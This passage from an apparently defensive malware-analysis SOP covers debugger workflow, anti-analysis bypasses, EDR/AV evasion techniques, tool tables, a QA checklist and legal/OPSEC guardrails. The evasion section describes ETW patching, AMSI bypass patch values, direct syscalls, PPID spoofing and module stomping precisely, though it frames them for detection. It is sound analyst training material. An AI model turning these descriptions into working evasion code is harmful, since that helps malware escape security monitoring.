6. Look for XREFs to suspicious functions

Dynamic debugging with x64dbg:

1. Open sample.exe in x64dbg
2. Set breakpoints on:
- VirtualAlloc (memory allocation)
- CreateRemoteThread (process injection)
- InternetConnect (network connection)
- RegSetValue (persistence)
3. Run until breakpoint
4. Step through code (F7 - step into, F8 - step over)
5. Dump decrypted strings or payloads from memory
6. Follow execution flow to understand behavior

Anti-analysis bypass:

Common anti-analysis techniques and bypasses:

| Technique | Detection Method | Bypass |
|------------------------|--------------------------------------|----------------------------------|
| IsDebuggerPresent | Check PEB.BeingDebugged flag | Patch return value to 0 |
| CheckRemoteDebugger | NtQueryInformationProcess | Patch return value |
| RDTSC timing check | Measure execution time | Hardware breakpoints instead |
| VM detection (CPUID) | Check hypervisor bit | Modify CPUID response |
| Sandbox sleep evasion | Sleep(300000) before execution | Patch sleep call or hook API |

10.4 Modern EDR / AV Evasion Techniques​

Modern post-2022 commodity loaders and APT toolkits routinely chain the techniques below. Recognize the import-table fingerprints during static analysis (§3) and the runtime artifacts during dynamic analysis (§4) so the report's MITRE mapping reflects the real surface.

ETW patching (T1685 — Disable or Modify Tools; tactic: Defense Impairment, TA0112) [verify 2026-10-18]

  • The malware locates EtwEventWrite (or NtTraceEvent) in ntdll.dll, calls VirtualProtect to make the page writable, and overwrites the function prologue with 0xC3 (a single ret). All ETW telemetry — which most modern EDRs depend on — goes silent for the process for the rest of its lifetime.
  • Static fingerprint: GetProcAddress resolving EtwEventWrite / NtTraceEvent followed by VirtualProtect and a tiny WriteProcessMemory / memcpy (1–8 bytes).
  • Dynamic fingerprint: suspicious page-protection flips on ntdll!EtwEventWrite followed by absence of expected ETW providers from the process.

AMSI bypass (T1685 — Disable or Modify Tools; tactic: Defense Impairment, TA0112) [verify 2026-10-18]

  • Patches AmsiScanBuffer (or AmsiScanString) inside amsi.dll to short-circuit the scan. Two common patch shapes:
    • Force S_OK (0) plus AMSI_RESULT_CLEAN (0) so the caller treats every buffer as benign.
    • Force E_INVALIDARG (0x80070057) so the caller's "scan failed → fail-open" path is taken.
  • Static fingerprint: LoadLibrary("amsi.dll") → GetProcAddress("AmsiScanBuffer") → VirtualProtect → small write (1–8 bytes). Or, in PowerShell loaders: reflection on [System.Management.Automation.AmsiUtils] field amsiInitFailed.
  • Effect: malicious PowerShell, VBScript, JScript, and Office macros pass AMSI without scanning. Combine with the §6.4 / §6.7 deobfuscation idioms when triaging the dropped scripts.

Direct syscalls / SysWhispers (Hell's Gate / Halo's Gate / Tartarus Gate) (T1106 — Native API) [verify 2026-10-18]

  • Bypasses user-mode hooks placed by EDRs on ntdll.dll exports by issuing the raw syscall (x64) or sysenter (x86) instruction with the correct System Service Number (SSN) for the target Nt-API. Common targets: NtAllocateVirtualMemory, NtProtectVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx, NtMapViewOfSection.
  • Static fingerprint: syscall / sysenter instructions inside non-system modules (find with objdump -d sample.exe | grep -E "syscall|sysenter" or IDA "Search → Text"); imports for ntdll.dll look implausibly thin given the observed behavior; runtime SSN-resolution stubs that scan ntdll for mov eax, &lt;imm32&gt;; syscall patterns (Hell's Gate / Halo's Gate signature).
  • Effect: EDR user-mode hooks on the corresponding ntdll exports never fire — the kernel side sees the call but the inline instrumentation does not.

PPID spoofing (T1134.004 — Parent PID Spoofing) [verify 2026-10-18]

  • The malware calls OpenProcess on an unrelated, high-privilege process (explorer.exe, svchost.exe), passes that handle to UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS), then calls CreateProcess with the populated STARTUPINFOEX. The child appears to be parented by the impersonated process in every standard log source.
  • Static fingerprint: import combination OpenProcess + InitializeProcThreadAttributeList + UpdateProcThreadAttribute + CreateProcess.
  • Dynamic fingerprint: Sysmon Event ID 1 records show implausible parent–child relationships (e.g., winword.exe → cmd.exe masked as explorer.exe → cmd.exe). Cross-check against Event ID 10 (ProcessAccess) from the spoofing process to detect the underlying OpenProcess.

Module stomping / DLL hollowing (T1055 — Process Injection; no dedicated sub-technique) [verify 2026-10-18]

  • LoadLibrary brings a legitimate, signed DLL into memory, then the malware overwrites that DLL's .text section with shellcode and transfers execution there. EDR module-load events show only the trusted DLL; the malicious code runs under its name.
  • Static fingerprint: LoadLibraryEx followed by VirtualProtect(PAGE_EXECUTE_READWRITE) and WriteProcessMemory / memcpy targeting the loaded module's base address.
  • Distinguish from process hollowing: in stomping, the host process is not suspended; only the loaded DLL is overwritten. In hollowing, a fresh process is spawned suspended, unmapped, and replaced.

Callback-based shellcode execution (T1055 — sub-techniques vary)

  • Avoids CreateThread / CreateRemoteThread (heavily monitored) by using legitimate Windows callback APIs to dispatch shellcode. Common primitives: EnumChildWindows, EnumDesktopWindows, CreateTimerQueueTimer, TpAllocWork / TpPostWork / TpReleaseWork, SetTimer, EnumSystemLocales, EnumTimeFormatsEx. The shellcode pointer is passed as the callback argument.
  • Static fingerprint: the callback API is called with a target address that resolves to RWX heap or to a VirtualAlloc-returned region rather than an actual code symbol.

Tool support for the analyst:

ToolPurpose
al-khaserTests common anti-analysis checks; validate VM hardening before evasive-sample analysis. [verify 2026-10-18]
pafishLightweight VM/sandbox detection tester (repo archived 2024) [verify 2026-10-18]; faster than al-khaser for quick checks.
pe-sieveScans a running PID for hollowed sections, RWX shellcode, replaced modules; dumps for static analysis.
hollows_hunterSame family as pe-sieve, scans system-wide.
ScyllaHideUser-mode anti-anti-debug library with x64dbg / OllyDbg plugins; hooks various functions to hide the debugger. [verify 2026-10-18]
TitanHideKernel-mode debugger-hiding driver for samples that bypass user-mode hooks via direct syscalls. [verify 2026-10-18]

10.5 Common Pitfalls & Best Practices​

❌ Common Mistakes:

  • Running malware on host system (always use isolated VM)
  • Uploading samples to public sandboxes (may alert adversary)
  • Not taking VM snapshots before execution (cannot reproduce)
  • Analyzing packed samples without unpacking (miss true behavior)
  • Ignoring string encoding (miss Unicode/base64 IOCs)
  • Assuming timestamps are accurate (often forged)
  • Forgetting to defang IOCs in reports (accidental clicks)

✅ Best Practices:

  • Always analyze in snapshottable isolated VM
  • Use hash-only lookups for intelligence gathering
  • Document every command and observation
  • Verify all hashes before and after transfer
  • Store samples in password-protected archives (password: infected)
  • Use defanged IOCs in all communications
  • Maintain chain of custody documentation
  • Peer review findings before publishing
  • Test detection rules before deployment
  • Keep analysis tools updated

11. QA & Peer Review​

Review checklist:

  • Second analyst reproduces key behaviors in clean VM
  • Validate all file hashes (SHA256, SHA1, MD5)
  • Verify MITRE ATT&CK technique mappings
  • Confirm IOC confidence ratings (High/Medium/Low)
  • Test YARA/Sigma/Suricata rules against sample
  • Check for false positive indicators
  • Remove private/organizational data from report
  • Sanitize screenshots (no usernames, hostnames, IPs)
  • Verify all URLs and domains are defanged
  • Spell-check and grammar review
  • Final sign-off in case notebook
  • Archive evidence with verified hashes

🔧 Appendix — Tooling Reference​

Static Analysis​

ToolUsePlatformLink
FLOSSObfuscated string extractionWin/Linux/MacGitHub
CAPACapability detectionWin/Linux/MacGitHub
peframePE file inspection (no commits since 2022) [verify 2026-10-18]LinuxGitHub
PE-bearPE file GUI analysisWindowsWebsite [verify 2026-10-18]
pestudioPE analysis GUIWindowsWebsite [verify 2026-10-18]
pefilePE parsing library (Python)Win/Linux/MacPyPI [verify 2026-10-18]
TrIDFile type identificationWin/LinuxWebsite [verify 2026-10-18]
Detect It EasyPacker/compiler detectionWin/Linux/MacGitHub [verify 2026-10-18]
stringsExtract strings (built-in)Linux/MacBuilt-in

Dynamic Analysis​

ToolUsePlatformLink
Process MonitorFile/registry/network trackingWindowsSysinternals [verify 2026-10-18]
System InformerProcess/memory analysis (Process Hacker successor, renamed 2022) [verify 2026-10-18]WindowsGitHub
WiresharkNetwork traffic capture/analysisWin/Linux/MacWebsite
TCPViewLive network connectionsWindowsSysinternals [verify 2026-10-18]
RegshotRegistry comparisonWindowsSourceForge [verify 2026-10-18]
SysmonAdvanced Windows event loggingWindowsSysinternals [verify 2026-10-18]
NoribenAutomated Procmon analysisWindowsGitHub

Reverse Engineering​

ToolUsePlatformLink
IDA ProDisassembler/debugger (commercial)Win/Linux/MacHex-Rays [verify 2026-10-18]
GhidraDisassembler/decompiler (free)Win/Linux/MacNSA [verify 2026-10-18]
x64dbgWindows debuggerWindowsWebsite [verify 2026-10-18]
OllyDbg32-bit debuggerWindowsWebsite [verify 2026-10-18]
Radare2Reverse engineering frameworkWin/Linux/MacWebsite
Binary NinjaDisassembler/decompilerWin/Linux/MacWebsite [verify 2026-10-18]

Specialized Tools​

ToolUsePlatformLink
oledump.pyOffice macro extractionWin/Linux/MacDidier Stevens [verify 2026-10-18]
olevbaVBA macro analysisWin/Linux/Macoletools [verify 2026-10-18]
dnSpyEx.NET decompiler/debuggerWindowsGitHub [verify 2026-10-18]
ILSpy.NET assembly browserWin/Linux/MacGitHub
de4dot.NET deobfuscatorWindowsGitHub
pdfid.pyPDF structure analysisWin/Linux/MacDidier Stevens [verify 2026-10-18]
pdf-parser.pyPDF object extractionWin/Linux/MacDidier Stevens [verify 2026-10-18]
PSDecodePowerShell deobfuscatorWin/Linux/MacGitHub
js-beautifyJavaScript beautifierWin/Linux/MacNPM
LECmdLNK file parserWindowsEricZimmerman [verify 2026-10-18]

Memory Forensics​

ToolUsePlatformLink
Volatility 3Memory forensics frameworkWin/Linux/MacGitHub [verify 2026-10-18]
FTK ImagerMemory/disk acquisitionWindowsExterro [verify 2026-10-18]
DumpItMemory acquisitionWindowsMagnet Forensics [verify 2026-10-18]
WinPMEMMemory acquisitionWindowsGitHub [verify 2026-10-18]

Sandboxes (Cloud)​

ServiceUseTypeLink
VirusTotalMulti-engine AV + intelligenceFree/PaidWebsite
ANY.RUNInteractive sandboxFree/PaidWebsite
Hybrid AnalysisCloud sandboxFree/PaidWebsite
Tria.geAutomated triage sandboxFree/PaidWebsite [verify 2026-10-18]
Joe SandboxAdvanced cloud sandboxCommercialWebsite

Threat Intelligence​

ServiceUseLink
MalwareBazaarMalware sample repositoryabuse.ch [verify 2026-10-18]
ThreatFoxIOC databaseabuse.ch [verify 2026-10-18]
URLhausMalicious URL databaseabuse.ch [verify 2026-10-18]
MalAPI.ioWindows API behavior lookupWebsite [verify 2026-10-18]
GTFOBinsUnix binaries exploit databaseWebsite [verify 2026-10-18]

Detection Engineering​

ToolUseLink
YARAPattern matching engineGitHub
SigmaGeneric SIEM rule formatGitHub
SuricataNetwork IDS/IPSWebsite
ioc-fangerIOC defanging/fanging toolGitHub

Analysis Distributions​

DistributionDescriptionLink
FlareVMWindows malware analysis VMGitHub [verify 2026-10-18]
REMnuxLinux malware analysis distroWebsite
SIFT WorkstationDigital forensics distroSANS [verify 2026-10-18]

📚 Additional Resources​

Reference Materials​

Communities & Forums​


12. Extended Reference Resources​

Comprehensive Malware Analysis Guides​

  • Malware Unicorn's Workshop - malwareunicorn.org
    • Reverse engineering workshops and training materials
    • x86 assembly crash course
  • HackTricks - Malware Analysis - hacktricks.wiki [verify 2026-10-18]
    • Comprehensive malware analysis techniques
    • Static and dynamic analysis methodologies
  • SANS Malware Analysis Toolkit - sans.org/tools
    • Curated malware analysis tools and techniques
  • OALabs Research - openanalysis.net and their Discord [verify 2026-10-18]
    • Malware unpacking and analysis tutorials
    • YouTube channel with detailed walkthroughs

Malware Repositories & Threat Intelligence​

YARA Rules & Signatures​

Sandbox & Dynamic Analysis​

  • ANY.RUN - app.any.run
    • Interactive malware sandbox
    • Real-time analysis observation
  • Tria.ge - tria.ge
    • Automated malware analysis
    • Free tier available
  • Joe Sandbox - joesandbox.com
    • Advanced malware analysis sandbox
  • CAPE Sandbox - github.com/kevoreilly/CAPEv2 [verify 2026-10-18]
    • Open-source malware sandbox
    • Config extractor for malware families

Reverse Engineering Resources​

Specialized Analysis Techniques​

Memory Forensics​

API & Behavior References​

.NET & PowerShell Analysis​

Office & Document Malware​

Courses & Training​

  • SANS FOR610 - Reverse Engineering Malware: Malware Analysis Tools and Techniques
  • SANS FOR710 - Reverse Engineering Malware: Advanced Code Analysis
  • TCM Security - Practical Malware Analysis & Triage - tcm-sec.com/pmat [verify 2026-10-18]
  • Malware Analysis Boot Camp (Cybrary) - cybrary.it [verify 2026-10-18]

Blogs & Research​

Forensics Integration​

  • SANS Digital Forensics Blog - sans.org/blog [verify 2026-10-18]
  • 13Cubed (YouTube) - youtube.com/c/13Cubed
    • Digital forensics and incident response
  • DFIR.it - dfir.it [verify 2026-10-18]
    • Digital forensics resources

Communities & Forums​

Automated Analysis Platforms​


Investigations / governance:

  • Legal & Ethics — canonical legal framework; review before every engagement
  • OPSEC Plan — investigator OPSEC; lab isolation, attribution-tied account / network hygiene, sample-handling discipline
  • Collection Log — chain-of-custody, hashing, timestamping, FRE 902(13)/(14) framing [verify 2026-10-18]
  • Sensitive Crime Intake & Escalation — escalation routes for CSAM payloads, terrorism funding, threat-to-life indicators

Analysis:

Pentesting & Security:

Canonical legal framework: see Legal & Ethics. Do not re-derive jurisdiction, statute, or authorization rules in this SOP — read them from the canonical source and apply.

OPSEC for the analyst (lab isolation, sample-handling discipline, network egress, attribution separation): see OPSEC Plan. Malware analysis leaks more than typical defensive work — sandbox detonation traffic, sample hashes pasted into VirusTotal, and lab VM telemetry can each tip a live adversary or burn a victim engagement.

Malware-analysis-specific guardrails:

  • Authorization in writing. Names the malware family, the customer / victim environment, the lab perimeter, the disposition decision (analyse-only vs share / publish), and the disclosure path (CERT, ISAC, vendor, public). Sample-sharing carve-out should be explicit if the sample originates from a customer environment.
  • Sample-handling discipline. Sealed transport (encrypted container with passphrase out-of-band), one-way analyst-to-lab flow, no analyst-host execution, no execution outside the isolated lab VLAN. Sample destruction policy at engagement close is documented in writing.
  • No live infrastructure interaction. Do not connect to live C2, do not register sinkhole domains without coordination with the relevant CERT / vendor / law-enforcement, do not interact with the operator. Even passive DNS / WHOIS pivots from analyst infrastructure can tip the adversary; route via blind pivot (Web/DNS/WHOIS OSINT OPSEC).
  • CSAM / illegal-content discipline. If a sample contains or fetches child sexual abuse material, terrorism material, or other content that is per-se illegal to possess in the analyst's jurisdiction: stop the engagement, preserve the sealed container without re-opening, do not extract / catalogue / share, and route via Sensitive Crime Intake & Escalation. Possession defences for analysts vary by jurisdiction; counsel review is mandatory before any further handling.
  • VirusTotal / public-sandbox discipline. Public submission of a customer's sample exposes the engagement and can tip the adversary; treat as a customer-authorization decision, not an analyst-default action. Where authorized, submit hashes (SHA-256) before submitting the binary; use private-tier sandboxes (Joe Sandbox private, ANY.RUN private, Tria.ge enterprise) where analyst attribution / customer disclosure is the concern.
  • PII minimization (GDPR / UK DPA / CCPA / sectoral). Sample artefacts (config files, captured credentials, victim-side data fragments) may contain PII. Minimize collection to the analytical purpose; document lawful basis (legitimate interest / legal claim / regulator-mandated) per artefact class. Non-customer victim PII is the highest-risk class.
  • Disclosure path. Customer first, then CERT / ISAC / vendor at customer's direction. Public publication (blog, conference talk, GitHub indicator drop) is a customer decision with a documented timeline; even after "approval," scrub for victim-identifying detail and rotate IOCs that would tip an active adversary.
  • Court-admissibility tradecraft. Pin tool versions; capture raw artefacts; cross-corroborate vendor classifications with at least one independent method (per §11 QA & Peer Review). Provenance chain (intake → sealed container → lab artefact → IOC → report) per Collection Log.
  • Mandatory reporting. If operating inside a regulated entity, route findings via the CISO / SOC manager / counsel chain. Outside, route serious findings (active CSAM distribution, terrorism funding, threat-to-life payloads, critical-infrastructure malware) via the appropriate national authority — see Sensitive Crime Intake & Escalation.
  • Log every action. Sample hash, intake timestamp UTC, lab VM ID, tool versions, action, hash of saved artefact — per Collection Log format. Admissibility depends on the unbroken chain.

📦 This SOP is designed for Obsidian vault integration. Link from incident case folders or use as standalone reference for malware analysis workflows.


Version: 1.0 Last Updated: 2026-10-18 Review Frequency: Semi-annual (medium-rot — tool CLI flags, sandbox / threat-intel API auth, ATT&CK releases, and Sigma backend plugins drift fastest)